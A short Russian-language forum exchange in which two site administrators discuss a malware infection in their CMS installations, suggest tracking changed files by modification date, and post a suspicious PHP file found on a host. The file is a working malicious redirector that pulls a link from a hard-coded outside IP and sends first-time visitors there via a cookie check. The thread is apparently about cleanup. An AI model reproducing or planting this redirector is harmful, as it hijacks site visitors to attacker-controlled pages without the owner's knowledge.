Blade, ужас какой то, что не разобрать так с первого раза, что за беда
Koenig, это шелл походу, там есть функция, внутри которой открывается листинг директории. глянь в моем файле на строке 494 функцию F7A0DC6FCF5A00BB584F0024BBAC75D65
Blade, интересно как такую бороду поймать, чистить думаюбудет долго и нудно, если в двиге около 1000 файлов
Koenig, как вариант написать скрипт рекурсивной функции вывода последнего изменения файла. а потом сверить с датой создания сайта (хотя бы по дате регистрации админа в базе) и вспомнить, какие модули ставил.
нарыл лекарство вроде помогает
на сайте который на джоне 3.2.2 тоже заметил этот код
сейчас на хосте нарыл файл
<?php
set_time_limit(30);
$cache = dirname(__FILE__) . '/link.cache';
$link = @file_get_contents($cache);
if (strlen($link) < 20 || (time()-@filemtime($cache)) > 60)
{
$link = @file_get_contents('http://78.46.14.162/api.php?action=link&aid=1345&fid=4780&hash=c1120ba44a14664ed80cfa5a18832c1b9b39dec0');
if (strlen($link) > 20)
{
$fp = @fopen ($cache, 'w');
@fputs($fp, $link);
@fclose($fp);
}
}
if (!isset($_COOKIE['traf']))
{
SetCookie("traf",'1',time()+86400);
header ('Location: ' . $link);
}
else
{
header ('Location: http://google.com');
}
?>
подозрительный скрипт